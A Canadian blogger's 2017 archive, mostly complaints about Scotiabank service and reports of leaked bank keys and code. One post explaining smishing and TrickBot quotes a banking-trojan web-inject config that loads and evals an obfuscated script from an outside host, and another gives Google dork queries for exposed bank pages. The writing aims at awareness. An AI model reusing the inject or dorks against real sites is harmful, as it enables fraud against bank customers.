Tuesday, October 10, 2017

Update on the Scotiabank API Breach

Just a quick note to say that as of 11:49am (EST) on Oct 10, 2017, it appears that the CCIRC has successfully removed the Scotiabank security breach.  The offending repository is gone.

Now, this isn't the end of this story - another breach is identified...  More to follow in the coming week.

The dangerous cybersecurity pattern I see at Scotiabank

I’ve noticed something of a dangerous repetition at Scotiabank in Canada.  

October is Cyber Security Awareness Month (CSAM), and for the second year in a row, during CSAM, I found the bank has been compromised and more by luck than skill has dodged a catastrophic cybersecurity problem.

In April 2016 I noticed that Scotiabank was pushing out Android mobile apps that had an “unauthorised addition” in them, after a frustrated programmer added their own personal content to drop an f-bomb at one of the bank’s vendors.  Trying to alert the bank went nowhere and by summer the Canadian Federal agency “CCIRC” (Canadian Cybersecurity Incident Response Centre) was alerted and monitoring the situation too, as regular updates of the app were pushed out by the bank with the unauthorised code.  Scotiabank finally got the message after 230 days on November 15th 2016.  On November 16th Canada had “f-bomb free” apps.

This means that during CSAM 2016, Scotiabank was compromised and not aware of it, even though everyone around them was fully aware.

We can only infer that one of two things happened;  Either someone checked that code and OK’d they insult (an unlikely scenario), or we were seeing that if a terrorist wants to get code out to the masses, they just have to get a job as a mobile programmer with Scotiabank.

Given the situation that unsavoury additions to apps were pushed through to the public, the bank was extremely lucky that any offender only chose to insult a vendor, rather than adding code to syphon off customer information.

For CSAM 2017, the situation repeated, but it also got markedly worse.  

I reported to the CCIRC on October 7th 2017, that a vendor to Scotiabank had posted the keys for the backbone API of the bank to a public GitHub repository.  

In addition to the keys, the source for a Windows-based security application was also public, and the XSD’s for that API as well as the mock XML requests and responses and other documentation for that API were also available.  I also spotted that a .Net DLL for client side security (referenced in a December 2016 leak) was included, and this was fully reverse-engineerable with no obfuscation. This meant that two annual leaks could be cross-correlated and the DLL used both the AES key and Triple DES key that were in this latest leak, too.

The icing on this cake was this information has been public since November 2015.

In conclusion, what really got me during this episode is that Scotiabank has been potentially compromised for two years, and it’s going to be really tough for Scotiabank to prove that nobody has already used this information to gain unauthorised access to that API.

Sunday, October 8, 2017

How I ended up with the keys to Scotiabank

So, in a chain of events that doesn't surprise me in the least, I have pointed the CCIRC (the cybersecurity bit of the RCMP) at a public GitHub repository that contains a security breach for Scotiabank, originating at one of it's partners South of the US. 

In short, I was researching a YouTube video for Cyber-Security Awareness Month, and knowing that all big banks in Canada have a problem with leaking code into GitHub, went to look for a common example of Scotiabank's continual leaks.  

Like the TCS leak back in summer, I found more than I was bargaining for, and immediately had to notify the authorities.

To summarise the situation:

  • The AES and TripleDES keys to talk to the back end of the bank are public.
  • Windows software that is supposed to be used for security work within the bank is public.
  • The client security library described in the 2016 breach is now public.
  • The XSD's for the com.bns.soa API are public.
  • All the mock requests and responses for the API are public, along with documentation on how the service works.
  • Somebody wrote the username/password in plain text and stored that in a text file.
As you can guess, it turned out that when I looked at the library, it's not been protected either, so anyone can reverse the binary back to source in less than a second second.  That same library was used by the Windows software that was leaked in its Visual Studio source-code form...

Oh, and this has all been wide open since November 2015

The big question while I wait for the CCIRC to clean up this mess is how Scotiabank can prove that nobody else has been going in for two years.

Anyway, more details in the vlog about this...


Monday, September 11, 2017

I'm back in the news...

So, as the title says...  I'm back in the news.  The actual article is here in The Register.

The follow up video explaining how this came about (no surprises for the subscribers of my Vlog) is here.

As of writing this post, I can see that at least two people at Scotiabank have gone to my LinkedIn page, though I've no idea if they're people looking to solve the problem, looking to cover their own backsides, or just curious.

LinkedIn says this on the "Who's looked at your profile"...

I have sent an email to the Scotiabank Office of the President again... To recap the situation to them - as they're still non-responsive after 12 days.

So, where are we at now it's Monday morning?  In short: 

  • Scotiabank's Digital Factory website wasn't fixed over the weekend, and many more people are now aware of how shockingly bad the bank's I.T. through this demonstration.  
  • Scotiabank still has two of my mortgage payments lost in the system and the bone-heads at the collection department are still calling about the money the bank has lost.
  • Many more people now know about the type of bad crap I'm having to put up with.

Thursday, September 7, 2017

Just when you think Scotiabank could not get worse...

So, 9 days ago, Scotiabank lost my mortgage payment in Interac again.  The money is inside Scotiabank somewhere.

The Office of the President are apparently looking into this - and obviously as the left hand doesn't talk to the right hand, the Scotiabank collections department looking for that payment don't like being told to talk to the President's office who are also looking for that payment.

So, today I sent through another mortgage payment.  It is now stuck as well.  That means inside Scotiabank, between two Scotiabank accounts, there are two mortgage payments.

I swear - the ineptitude of Scotiabank knows no bounds.

Thursday, August 24, 2017

The Scotiabank Talk - Part 4

The final part (part 4) of The Scotiabank Talk is up on YouTube.

In this part I cover organized crime, customer service, and show how everything I've covered in this series leads us to an incredibly stupid juxtaposition at Scotiabank where use of HTTPS is concerned... 

Wednesday, August 23, 2017

The Scotiabank Talk - Part 3

Just a quick heads up....

The YouTube serialization of the Scotiabank Talk continues. Today part 3 went out.  

Monday, August 21, 2017

Scotiabank finally fixed the HTTP problem.

I noticed today that Scotiabank had quietly sneaked out v17.7.4 of their Android app.

Amongst the list of improvements was the omission that Scotiabank had finally dumped the Enstream framework with the insecure HTTP (not HTTPS) connection to BWANET.CA (Bell Canada), that I've complained about since December 2016.

Whilst I still think Scotiabank is still highly dodgy, technically, and a horrible bank to be with, this fix does make mobile banking safer for all of Canada.

The Scotiabank Talk - Part 1

Just a quickie, incase you missed it:

I'm starting to serialise a special version of what I previously talked about on YouTube.  This series is specific to the silliness seen coming out of Scotiabank.

Thursday, July 27, 2017

See you on the flip side...

TL;DR - I'm pausing this blog and now I'm found over here:

As regular readers of this blog will know, this blog has been around for a lot of years.  A lot of work has been put into it, and I'm happy with what it has achieved over time.  It has grown from a tiny seed where it would get 10 to 15 views a month, to where it is in summer 2017, with about 10,000 views a month. It has covered everything from humour to technology, to banks and parenthood.  However, some issues crept in along the way, and I had to take a long hard look at why I continue to do this, and what I'm now trying to achieve.

Originally, this was supposed to be one man's personal blog about the random things that interest him. Somehow, it predominantly became a blog about Canadian banks, and yet there is so much more that still interests me personally - but having documented all the crazy banking stuff here, there's not much time left for anything else.  

Additionally, this blog feels dry and "ranty" whilst anyone that knows me personally knows I'm actually a relatively fun person, but this never comes across in this blog.  

Times have changed, and so have I.  I started this blog as a younger carefree guy, and now I'm a dad with kids and such... I started this blog when blogs were a thing, and now YouTube is the defacto place where people vlog instead of blogging here.  

I have other goals and aspirations, and one of those goals is to spend more time doing video and less time doing typing.  I simply enjoy it more.  Additionally, there is the added benefit that with videos, I can more accurately portray who I am as a person - and make this fun again.  This is supposed to be fun for you as well as me - and as things stand with this being a predominantly bank-related blog, it's simply not fun any more.  

If you're arriving from one of the banks, or any government agency, the YouTube channel will have videos grouped into Playlists, so you can find just the banking videos that you're probably looking for. 

So, I'm now over here - feel free to pop over and subscribe:

I will keep this blog up, as I may come back to it in the future when I find a good reason to add stuff here, but for now, the regular future posts are over on the youtube channel where I can put more context into things and make this fun again.

Wednesday, July 26, 2017

Banking Silliness

Just when you think the ScotiaBank/Interac debacle is over...  Day 26 and things go wrong... again.

Still experimenting with the idea of migrating the blog to the vlog. 

Whataboutism, Skewed Logic and Invisible Dinosaurs.

I'm experimenting with the idea of moving this blog to the VLOG.  

A) it's quicker for me to knock out 5 minutes of video, than type for 15 minutes.  
B) It gives me a chance to get across things like tone (so it's not so dry), as well as emotion and other things that are sometimes missing in the written blog.
C) Also, it gives me a chance to practice my FCPX skills.

Here's yesterday's entry on Whataboutism, and what you need to apply a rational mind to the amount of BS that we're bombarded with these days.... oh, and invisible dinosaurs.

Sunday, July 23, 2017

A lazy Saturday

Had a lazy Saturday.  Wife and twins went to Wonderland, so I got a day at home by myself (that's not happened in a long while).

Thursday, July 20, 2017

This made me chuckle...

Just ran across this...  It made me chuckle.

The Scotiabank & Interac Debacle - Day 20 - A Result

So, the President's office at Scotiabank just called me (10:15am).

They've apologised and will refund the dollar.  They're also offering an extra monetary goodwill gesture for my troubles.

The thing I'm most happy about was finally speaking to a person who actually listened and didn't deflect my frustration at the bank.

Whereas when things get tough with CIBC they can assemble a room of senior people to hear me out, Scotiabank said this was not possible with them.  They are therefore going to read through some documentation I'm going to send them to see if there's anything else that can be resolved.

I've had years of pain with Scotiabank, and this quote always comes to mind.

The Scotiabank & Interac Debacle - Day 20

It's been nearly 24 hours since I sent in my formal complaint to Scotiabank and CC'ed the OBSI and Interac.  Neither Scotiabank or Interac had the courtesy to acknowledge receipt of the email in the 22 hours since, but I know someone at least is looking into what I've publicly said previously.

The reason I know it's being looked into is someone's case management system went through 22 pages of the blog yesterday.

(Click for full size)

Wednesday, July 19, 2017

You couldn't make it up...

Something just happened that makes me want to bang my head on my desk.

Twitter followers will remember that I told ScotiaBank and Interac on the 14th July, that if things were not fixed by Monday, I'd be escalating.

(Click for full-size)

...naturally, nobody did anything with this. As of this morning, it was still unresolved.  It's now the 19th July and around 4 hours since I pulled the trigger to get this escalated by submitting a formal complaint.

So guess what happened?  Scotiabank's twitter team now responds... 

(Click for full-size)

Of course, I've no idea now if this is a result of someone higher up at the bank yelling at them to stop ignoring customers, or what...  Either way, it's a bit late now.

Seriously, you couldn't make this up. 

A TED Talk video just appeared

Most people know what I do (See here if you don't). I like doing work that makes the world a better place.

The TED talk people just released this 2014 talk on YouTube from their archives...   

It's a little bit dated as that scanner hardware was retired a few years ago, and the current generation scanner is a lot smaller and faster than the one shown... Also, the software is a lot different as I wrote new new apps in 2015 and added more in 2016.

Anyway, it's an interesting video that explains how this all got started. 

The ScotiaBank & Interac Debacle - Day 19

Just a quick update...

It's day 19, and a formal complaint has been submitted to Scotiabank.  I know we're only talking a single dollar here, but it's the principal of the matter.

Tuesday, July 18, 2017

The Scotiabank & Interac Debacle - Day 18

So we've reached day 18 without resolution on the Scotiabank and Interac silliness.  

Here's something to consider: 
Scotiabank read this blog 18 times last week.
Screen Shot of Analytics Log

Both Interac and Scotiabank were pinged on Twitter about the matter last week, and obviously Scotiabank is also aware of the issue through the blog given the number of times they're hitting the pages of this blog.

As of posting this, they've looked at this blog 4 times today already, too, so it's now looking bad that this hasn't been resolved.

Monday, July 17, 2017

The Interac Debacle Day 17 - An Interac Anecdote

I needed to test some lighting to see if it was viable for some chroma-key (aka "Green screen") work I want to do for another project, so recorded this little story that I wanted to share and save some typing at the same time... 

...and yes, I spotted the lighting problem, too.  That needs fixing before I try this again. 

The Interac Debacle - Day 17

Just a quick update...

As you know, both Interac and Scotiabank are aware of the issue....

...but nothing has been communicated back to me in the way of a resolution.

As I'd not heard anything, I just went online to see if Scotiabank had quietly sneaked anything back into the account without writing to me.

I was just greeted with this.

(Click for full-size)


Thursday, July 13, 2017

The Interac Debacle Continues - Day 13.

A quick recap:
1) We had a problem in Canada with Interac (Link) where I predicted that ScotiaBank would likely be dishonest and double-dip on fees.
2) When the money finally showed up, sure enough they double-dipped (Link) on fees.

Where we are at now (Day 13):
I just got off the phone with Scotiabank and the lady I spoke to is claiming that although Scotiabank charged me the Interac fee twice, I need to ask Interac and not Scotiabank to refund the $1 that was charged for the transaction that never completed.

I know we're only talking about $1, but it's the damn principle of the matter at this point.  

Tuesday, July 11, 2017

How do you fix mobile banking in Canada - Part 4

Some years ago now, I found myself looking at a SQL backup file. It was for a Caribbean arm of CIBC bank, and contained competition entries from one of their Caribbean websites. It displayed names, email addresses and phone numbers, but not banking info.  Someone thought it was perfectly fine to backup those competition entries and then just upload the entire backup to the web server....  Back in those days, I was a bit wet behind the ears with bank security and so I reported the problem directly to the bank, thinking that it would be expeditiously rectified.  From what I remember, it stayed up for what seemed like an eternity.  I guess that the problem rattled around inside the bank for a bit, until it was finally removed later, when the entire Caribbean site platform was pulled down and re-done as part of a global re-working of all their websites.

Later, about six years ago, I sold one house and bought a new house. I logged into CIBC and changed my address and entered my new postcode.  Some time later, having not received any statements and such in the mail, I checked my details and saw that someone at the bank had entered that I'd moved somewhere else.  Again, I changed my address back to the correct one, and reentered the correct postcode.  Then I checked the site every day to see if it changed.  Sure enough, it soon changed back to the wrong address and wrong postcode.  Perplexed as I know where I lived whilst the bank seemed to think I was living somewhere that I wasn’t, this time I took screen shots and recorded the times that I made my changes, documented what I was entering, and then when it changed the next day, I raised the alarm at the bank that someone was deliberately tampering with my personal details behind my back.  This was one of two straws that broke the camels back of trust with me and that bank for a many years (the other being some transaction stupidity similar to what I’m going through with ScotiaBank right now), and so an internal investigation was opened up at CIBC. Whilst I never did find out anything more than someone had repeatedly edited my details for no reason, and the bank had confirmed that, it reinforced a viewpoint that I’ve held for some time; that sometimes people do some really ridiculous things when they've got access to server side data that they really don’t need access to. 

These two issues are partly how my interest in server side security at the banks got started.  Wherever I looked, I saw something that was wrong. Other people, especially criminals, might be interested in working out how to get to the underlying data and services these servers provide, but the big question I was personally interested in answering (because I’m into technology) was not finding out what the data was, but looking at how the servers themselves could be grouped by administrative problems, errors or cutting corners.  I you can spot a pattern, you can "read" how a bank prioritises issues. If a bank fixes something that affects its brand quicker than something that affects customers, you can draw conclusions from that about bigger issues.

Each bank in Canada has it’s strengths and weaknesses as you’d expect.  You can tell a lot about how a bank operates from it’s servers and how things are deployed publicly.  Some banks like TD or RBC will secure the servers well, but then allow phishing on their websites, or undermine efforts in some other fashion.  Banks like Scotiabank have a litany of issues, far too many to mention in detail, and in many cases stuff has just been left unsecured for years. Kids can just use simple "Google Dork" queries to access stuff that’s broken or incorrectly secured, as Google indexed it years ago (for example, https://www.google.ca/#q=inurl:scotiabank.com+intitle:secured, or https://www.google.ca/#q=%22default+Vortex+script%22+inurl:scotiabank.com, and so on) and that’s before we get to the bigger problems they have with server code sprayed all over the internet unauthorized code making it to production, etc.  Some banks like CIBC will do things like leave servers sitting on the default Microsoft IIS welcome pages, which always makes me wonder a lot about what’s going on, because if the IIS page is the default, are the firewall rules also default? What about other protection if the default is none? Are these forgotten servers that never get patched and yet still sit connected to the bank with a public facing server end point?  Many of these servers have disappeared over the years, so it’s nowhere as near as bad as it was before.  I’ve spoken to CIBC at some length about those problems and many others over the years, and one day they might even fix these things…  Then there’s Desjardins... At first glance, you'd think they have BMO's technical team working with them - they appear very similar (technically conservative, and straight forward architecturally).  However, there's a one thing Desjardin did that when I noticed it, it blew my mind and changed my perception of the bank entirely. I don't bank with Desjardins and have no history with them, so for now, just know that they make me scratch my head. 

I've not made it a secret that from my viewpoint, banks in Canada also leak like collanders.  If you look for it, there are many gigabytes of source code available to the public on the web, covering everything from mobile apps to entire bank web sites, as well as source for specific processes, microservices frameworks, prototype systems, security, as well as code for scam tools used against the banks and their customers…. and that’s before they have their staff out doing technical presentations and then posting on the web PowerPoints that explain how security is done, what tools they’re using, and so forth.  

Given all of this bank code is freely available, you have to ask why is it freely available?  For example, a programmer with a simple php question at ScotiaBank only needed to upload a line or two of code to illustrate a PHP programming problem they needed help with, and didn't need to upload the their entire smurf report emailing process, but they did it anyway.  Banks like CIBC have consultants who upload prototype code to public places where everyone can see what they're researching, and then you have the multiple chunks of Scotiabank's Java backend floating around the web because their programmers had an awesome lapse of common sense to upload huge chunks, too… (and I use the word “awesome” in the original sense of “truly frightening”)

Contrary to the bank's reality that anyone with access to a search engine can see, my personal view is that banks should properly secure the backend server code that drives Canadian online banking and mobile banking from getting out in the first place.  We covered the mobile bit in Part 1 of this series, where I showed that it’s common in Canada to just put out a mobile app with no security, but the same applies to the server side. Banks need to secure this code properly.  Once a bank uploads its server code to a public place, it's a free-for-all and leads to problems.  

Once criminals know how a bank is structured they can target it in an equally structured way.  

In April of 2017 this was evident when someone clearly thought it was worth targeting the Scotiabank UAT staff using TrickBot.  Whilst I mentioned in the last installment about how Scotiabank's customers were targeted, I didn't mention that two further campaigns had been spotted that targeted staff on non-customer facing systems.  

And how do you think everyone knows where those systems are? The banks already let this stuff out.

So, let's tie this knowledge back to mobile.  

The servers that your mobile banking apps talk to are connected to the bank. Many other servers also connected to the bank leave doubt that they are setup properly, as kids can navigate their way around the Google cache of server areas that are supposed to be securely protected, getting to see what’s inside the bank without ever entering the bank systems themselves…  When you think about the possibility of a hacker jumping from one of these other servers to your mobile banking server, how comfortable do you feel?  

When the bank is testing a new version of it’s digital banking, and we know that TrickBot operators have been targeting the bank testing staff on the same website, we could hypothesise that these criminals are doing the same thing - testing their code on the new website against the bank UAT staff, so that they can then later go out and do a proper campaign on the public.  How do you feel now?

If a bank has leaked a server side username/password and you know the username is a 5 character combination of letters and numbers and they only used one letter and one number repeatedly, how would you feel about that Canadian bank’s security?  Now if I told you they used the same 5 character phrase for the password too, how comfortable are you feeling now?  

Obviously, the server side of Canadian bank security is a huge topic.  There could be many posts on this topic alone, but I’m trying to just educate people here on the high level items.  In a post like this, it’s important to not broadcast what certain issues are, because doing so would actually cause more problems.  I wanted to paint the reader a picture that reflects a reality that is closer to how I see it, than how bank marketing departments want you to see it.  When you think about the implications of the above items which are common in Canada, you can’t help but agree with the recent report (Link) that came out here.

So, to recap this series so far:
Part 1 (Mobile) - Don't be lazy with mobile app security, and check the code being pushed into production for unauthorized additions.
Part 2 (Staff) - Stop people doing dumb things like posting confidential documents in public by training them with proper rules and protocols.
Part 3 (Policy) - Stop treating mobile banking as a second rate privacy area.
Part 4 (Servers) - Secure the back end servers.  Don’t leave restricted server areas open to search engine crawling, stop posting server code, don’t hardcode your server credentials into URLs between systems, and basically use some common sense.

Monday, July 10, 2017

Update on the ScotiaBank Interac problem - As expected, they double-dipped.

So, ScotiaBank finally found my mortgage money after the Interace debacle.  Even though I've gotten written confirmation that it was deposited in the destination account, the money showed up in the originating account again.

Now, you'll remember in the last sentence of my original post, that I was fully expecting the bank to be dishonest and try to screw me by double-dipping on bank charges. Predictably, Scotiabank followed through.

This is now my bank transaction trail.

(Click for full size)

As you can see, they charged a dollar to transfer the money, never completed the transfer, refunded the transaction without refunding the transfer fee and then charged yet another dollar to resend it.

I know it's only one dollar, but when you expect dishonesty from the bank and then they follow through with that dishonesty, it aggravates me immensely.

Having said that, it underlines my everyday experiences with ScotiaBank.  

Friday, July 7, 2017

Day Seven of The Scotiabank Interac Problem

Today is the seventh day since I sent my mortgage through Interac from Scotiabank to a different Scotiabank card account.  Scotiabank said on Monday that this would be resolved by today.

Guess what?  It's not resolved.

Thursday, July 6, 2017

Day Six of the Scotiabank Interac Problem

A quick update...  

It's now day six and the interac problem is still not resolved at Scotiabank this morning when I checked my account.  I'm not going to call Scotiabank today as I don't think it's a fruitful use of my time and I anticipate getting a canned response anyway from some customer support person because they don't actually have the answers.

I posted a question on Twitter this morning to Interac (despite not having any faith that they'll actually answer it) where I asked Interac about the lack of apparent redundancy when this system failed.  Either it failed at the same time as the primary system, or it simply doesn't exist.  

Occams razor tells us which of the two scenarios likely happened, which begs the questions about what kind of operation is being run here anyway?  For all the infernal fees that banks charge customers for this service of sending two emails and writing a few records in a database, you'd expect someone to have invested even a tiny bit of that in keeping this system up with some form of redundancy.

I'll update if things change.

Wednesday, July 5, 2017

A quick update on the Interac issue at Scotiabank

You'll remember that last week we hit a problem with Interac in Canada.  This is just a quick update to follow up on that.

Despite getting the written confirmation on Friday that the money was deposited, I phoned Scotiabank on Monday morning as the money still wasn't showing up.  Naturally, the support lady in India put me on hold and then hung up.  I immediately called Scotiabank back and this time got someone that sounded Canadian, but with an attitude that sounded like he really wasn't interested in customers or helping them.  

So, I explained the money wasn't still wasn't there, and requested he put a note on my file as I know what's coming next (after the left hand of Scotiabank loses the money, the right hand of Scotiabank starts demanding to know why I've not paid my mortgage even though the money has been inside Scotiabank the entire time).  

I was told Monday morning that it may take 5 more days (making a total of 7 days) to find my mortgage payment.  

Five more days?  Whatever database index they have on their Interac transaction table clearly needs an urgent technical review if three days of e-transfer transactions builds such a volume that it takes seven days to find and fix my transaction.

Anyway, it's now Wednesday and so we're at five days total so far and the money is still not there. It looks like they may actually be correct that the system is actually that unfathomably slow.

I'll post another update if this ever gets fixed.

The bank shot itself in the foot.

Last night, after cocktails up in Canoe bar, I was treated to dinner in an upscale Toronto restaurant nearby, in the company of executives from an extremely large and very well known Asian company, who flew in for one night.  When I say large, they have more current customers (by a long shot) than exists in the entire population of Canada, and have more customers than all the Canadian banks combined.  As you may have guessed, we discussed the bank issue, my customer service experience and mobile security.

It transpires that the details of my customer service woes and technical concerns that I've made public on this blog so far, have become well known enough, that foreign companies are now discussing it as a modern day textbook case of what happens when an organisation fails it’s customers. 

In addition to now being invited back to Asia, I was surprised to hear that as an individual customer who the bank thought was of no real consequence and could be ignored for multiple years, I’m influencing decision making processes in very large foreign corporations to rule out this bank in the race for handling corporate accounts when this Asian company expands through acquisitions into Canada like it did the USA, based on how that bank handled the customer experience with me. The logic being that if the bank is unable to make me happy, how on earth would the bank handle a $85bn corporation, and they’re eager to find out when (or if) the bank is able to resolve this, and how. 

I never expected when I started documenting my experience on here and on Twitter, that I'd be cutting off many millions of dollars of potential revenue from one of my banks, and I doubt that the bank ever thought that by treating one customer this way, it would come to this either.  But, there you go; This ongoing festering mess that has inconvenienced me for years has now reached the point where the bank's actions are reflecting back onto the bank itself, and foreign corporations are now backing the little guy.  

Never a dull moment, eh...

Friday, June 30, 2017

ScotiaBank and Interac In Action

This article has been updated to reflect 
further communication with the bank,
as well as further examination by myself.

So today I had to deal with Scotiabank.  The idea was to Interac money from one account to another account.  Obviously, because this post exists, you can guess this simple process turned into a bit of a train wreck along the way.

If you're not experienced with Canada's "Interac" system, allow me to quickly get you up to speed on this boondoggle.  

In short, you have banks connected to the Internet, who can't send money between bank computers over the Internet. To resolve this silliness, another organisation was created called Axcsys and they have this service called Interac, where you send money between bank computers over the Internet and they then charge you a fee for this. With me so far?  Right... Somehow, instead of sending these money instructions immediately, like you'd send anything else over the internet, this takes about 30 minutes.  Compare this with the longest known time to get a signal to Mars (24 minutes), and you'll that instructions can reach Mars about 6 minutes faster than they can reach you in the same city.

First, I sent the money from Scotiabank (yes, it's also going into Scotiabank on a different account, which is likely held inside the very same physical computer).  This email arrives about 30 minutes later.  

So far, so good.   


(Click for full-size)

I clicked to deposit it and log into Scotiabank, at which point the transaction goes into some kind of Schroedinger's transaction state by being both "temporarily unavailable" and just plain "unavailable".  

(Click for full-size)

I interpret that to mean the transaction is unavailable - and as it suggests, I wait for a bit before trying again.

This is the beginning of the where things get weird...  

The money is debited from the sending account and is sitting in a pool account at the Bank to be settled between banks tonight whilst the promise of the money is sent immediately to the depositing bank (the same bank it just left).  As a customer, I don't expect the bank software to lose money at any point or not be able to tell me where it is, but let's follow this process through to its logical conclusion.

I waited a little bit and tried again, just as the previous screenshot has suggested...  Now, I got this error, telling me that the transfer cannot be deposited.  

(Click for full-size)

So if the transaction was previously unavailable, and is now unavailable forever, you'd think that the transaction was unavailable, right?  It's pretty clear that the bank is trying to tell me "This transaction will never go through", right?


I've seen this type of breakdown before where Interac transactions go into a weird state of quantum superposition.  We can see this breakdown of logic here, because this transaction has clearly been communicated to the customer as both a) unavailable previously, and b) no longer available going forward.  So, if the bank is saying this is "UNAVAILABLE", you should never then get an email from Interac like this:

(Click for full-size)

This email is written confirmation that the "unavailable" transfer has apparently gone through.  If you're not confused yet, you soon will be.  I gave it 30 more minutes and then checked the receiving account to see if the money ever arrived.  

Of course, despite having written confirmation the money arrived, the money never actually arrived.  

So, what does this mean?  

This means either:
a) The ScotiaBank online banking system was lying when it said the transaction was not available.
- or -
b) The Interac system was lying when it said the money was accepted on the receiving end.

As a programmer, it doesn't take many brain cells to realise that the Interac email couldn't have been sent out without some trigger from the bank telling it the money was received.  In the same way you can't move an object without applying overcoming forces, you can't have Interac tell you that the money was received without ScotiaBank telling Interac the money was received.... computers may be many things, but they're not psychic, so this has to have happened. 

To recap so far:  At this point, we know the customer has been led up the garden path and the bank has effectively lost track of my mortgage payment again.

So, I phoned Scotiabank and determined the following:

1) Apparently the system isn't working too well this morning and they are aware of this. 
2) It's going to take 48 hours to move the money from Scotiabank to Scotiabank to refund it.

Let's back this truck up a bit and look at things logically. 

1) Despite apparently knowing that things are broken, they're still allowing customers to initiate new transactions that will never succeed, instead of just being honest and transparent and saying "Hold off whilst we fix this mess".  That's wrong right there.

2) If Interac sent the email out that the amount had been accepted on the receiving end, this means ScotiaBank has told Interac that the amount was received - which is in contradiction to the online banking system that doesn't show the amount because it wasn't received.  This means that whilst the audit trail can be followed backwards to find out what really happened, they've effectively temporarily lost the transaction and my money in a gumbo of instructional baggage that's piling up somewhere because they haven't stopped accepting new transactions.

It's like there's some "common sense horizon" which when crossed, breaks down normal common sense and sensible logic. This should never have been allowed. It doesn't make sense to keep taking instructions if they're never going to work. Of course, now I'm waiting to get screwed when they don't refund the fee that I paid to send it.

I will do a second post when I get a resolution to this stupidity.

Thursday, June 22, 2017

Something humourous...

This morning I logged in to Scotiabank and was greeted with this gem.

(Click image for full size)

I double-checked for something silly like an incorrect user agent string had been sent, and that doesn't appear to be the case. 

(Click image for full size)

So, for whatever reason it failed, it made me chuckle. 

Monday, June 19, 2017

How do you fix mobile banking in Canada - Part 3

(PLEASE NOTE:  This article will likely go stale in a matter of hours,
as the banks pull down any links I've provided. Once they're down,
you'll just have to use your imagination)

This time, I’m going to focus on customer security.  But, I’m not going to waffle on about the usual angles that everyone else talks about.  Everyone has heard the well-worn clichés like “At such-n-such bank, customer security is of paramount importance”.  Of course, they are going to say that because it’s their job to say that, but it’s not always 100% true, and this is what I’m going to demonstrate for this article.

For my first example, we’re going to look at smishing.  

This is the act of SMS messages being sent to people, with a call to action to get the victim to login with their bank credentials on a phishing site that was setup to emulate the bank.  If a customer is compromised in this manner, a bank has two options; One option is to refund the customer any money they lost.  The other option is to tell the customer that they were at fault for falling for the scam, and the bank is not going to refund their money. The bank’s also have teams of people that are supposed to look out for the customer (and the bank itself), and act on threats before they cause a problem, but as you’ll see, there’s an apparent blind spot.

So, how does smishing work?

It’s a bit of a team effort, but it works like this:
  1. Someone spends some time building a list of URL’s that haven’t already been registered/blocked elsewhere.  They then post these on online clipboard or paste sites, for the next person to pick up.  You can see examples here, and note that it’s very much in the open:
    1. https://pastebin.com/FCJWqqpf, https://pastebin.com/nDA7qfLM, https://pastebin.com/EC7Vr40t, https://pastebin.com/gPWsZACe, https://pastebin.com/QY2R03DH.
  2. Next, you can see sites being picked off these lists and registered. For example scotiabank-helps.com, which was in a list (https://pastebin.com/gPWsZACe) was registered (https://www.whois.com/whois/scotiabank-helps.com) on March 11th. 
  3. Someone else then provisions the new website with a suitable clone (in the case of ScotiaBank, usually a tool called “Scotty”).
  4. Finally, the smishing operation starts.  You then watch Twitter for the first signs of customers alerting the banks.

(Click for full-res)

This particular URL example had a pretty fast timeline, as the site went up about as fast as it’s registration was propagated in about 24 hours, and as soon as they could start using it they did, however, often the lead times can be as much as two or three weeks.  Normally things are a lot slower.  

Now, it takes about 30 seconds a day to check a site like pastebin and get weeks of pre-warning about what’s being planned.  However, if you go down those sites and look at the time they were posted, and when the banks customers started bleating about it on Twitter, you’ll see the banks didn’t ever protect the customer in a proactive manner, despite the fact the warning signals were there.  I've warned both the CCIRC and the Privacy Commission of Ontario about this previously, as it's something that can clearly be seen and measured. 

However, the thing to bear in mind here is the dynamics at play: You are the product, and the bank is the sleeping security guard.  What can happen next is not so obvious to most customers. Where this type of scam gets interesting is with “whaling”.  A phishing scam tool like Scotty will usually log victim info in a predictable place if the criminals setting it up were lazy and didn't configure it to log to a custom location.  Just like the average customer doesn't change the default installation parameter of their software, neither do criminals. Other criminals know this, so they wait for the log file to get sufficiently large, then they try to snaffle the log file for themselves.  Some of these whaling criminals are also lazy, and so they sometimes use tools called an auto-whaler.  As you’ve probably guessed by now, the writers of the auto-whaler wait for the whaler to grab the phishing logs from the phisher, and then they auto-upload a copy from the whaler to themselves.  Now, a compromised bank account will be located with the phisher, the whaler, and the writers of the auto-whaler.    

But remember, “At such-n-such bank, customer security is of paramount importance <you can insert here any hornswoggle about firewalls and encryption that doesn’t help this problem either>”.

The next two examples I want to talk about are a bit more complicated.  

ATS’s, or Automated Transfer Systems  
Again, you can go straight back to Pastebin (https://pastebin.com/BMGZmTZt) and see how this is openly bought and sold.  In short, code is injected via a bot such as Zeus, or SpyEye, into the victims browser, that watches the user legitimately login to their bank UI, and the credentials and responses are swizzled to a separate “Command and Control” (C2) server.  This means the user is interacting with their bank’s website UI, but it’s the C2 server logging into the bank’s server using the info provided by the user.  The user pays their bills and does whatever online banking they would normally do, and the ATS system is draining funds at the same time.  To keep the user in the dark, all balances are adjusted accordingly.  

TrickBot is another problem in Canada.  Usually installed via a Word document with VBA macros, it installs a bot on the users computer.  Once installed, it goes back to a C2 server for more information.  This information includes what to look out for with the banks, and how to handle injections.  You can see an example of an injection configuration for TrickBot here (https://pastebin.com/SGvG6aYh).  

In the case of Scotiabank customers, this simply targets everything going through any part of Scotia Connect and sometimes the entire scotiabank.com site. Here’s the usual config line showing that:

In the case of CIBC, things get a little more interesting.  They have a dual login website, where you can login through the main cibc.com site, or a second website on the cibconline subdomain.  TrickBot never goes for the main domain, and always goes for that either that subdomain, the or the cash management (cmo) subdomain.  


When I mentally remember to do so, I avoid cibconline.cibc.com for that reason and just use the main cibc.com site to avoid the risk of ATS compromises.  Having said that, I don’t alway remember…

Now, things can get really nasty here.

Let’s imagine you’re banking with Scotiabank.  This was a previous bot setup from 2016:
  1. http*://www*.scotiabank.com/gls/*/index.html
  2. <head**>
  3. <head**><script>top.location.href = "http://www.scotiabank.com/ca/en/0,,2,00.html";
  4. </script>
  5. https://www*.scotiaonline.scotiabank.com/online/*
  6. <head**>
  7. <head**><script>var script_link = "https://4allgod.com/scotiaadmin/scotia.js?r="+Number(new Date());eval(function(p,a,c,k,e,r){ ….code goes here.

…. skip many lines.

  1. VNC

So you’d end up having someone from Montenegro VNC’ing into your machine, whilst the Scotiabank inject went via 4allgod.com.  This means if you have your passwords all in a spreadsheet or note and had that on screen, they've potentially screen captured all that information too.  

So, back to mobile….  What about Android.BankBot.136.origin as an example threat?

